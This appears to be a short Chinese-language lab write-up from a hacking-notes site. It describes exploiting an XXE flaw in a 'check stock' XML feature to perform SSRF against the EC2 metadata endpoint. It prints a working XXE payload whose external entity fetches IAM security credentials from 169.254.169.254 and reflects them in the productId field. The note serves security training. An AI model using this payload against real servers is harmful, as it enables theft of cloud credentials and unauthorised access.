> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/xxe/xxe-to-perform-ssrf-attacks.md).

# 利用 XXE 执行 SSRF 攻击

### 利用 XXE 发起 SSRF 攻击

利用……中的 XXE 漏洞 **“检查库存”** 接受 XML 的功能，导致向 EC2 元数据终端点发出 SSRF 请求（`HTTP://169.254.169.254/`）并从服务器中提取秘密 IAM 密钥。

实验室服务器模拟了一个 EC2 元数据终端点，可通过默认 `HTTP://169.254.169.254/` 地址访问。通过向发送到易受攻击解析器的 XML 中注入外部实体，服务器可以被迫读取内部 URL，并在响应中返回其内容。

#### 开始 XML

{% code overflow="wrap" %}

```xml
<?xml version="1.0" encoding="UTF-8"?>
<stockCheck>
 <productId>
  4
 </productId>
 <storeId>
  1
 </storeId>
</stockCheck>
```

{% endcode %}

#### 用于执行 SSRF 的 XXE 载荷

通过引用指向 IAM 元数据终端点的外部实体，然后将该实体包含在反射字段中（`productId`):

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY myFile SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin">]>
<stockCheck>
  <productId>
  &myFile;
  </productId>
<storeId>
  1
  </storeId>
</stockCheck>
```

<figure><img src="/files/4c7ed4e631d1448310e269ff5c224f9faf715d28" alt=""><figcaption></figcaption></figure>


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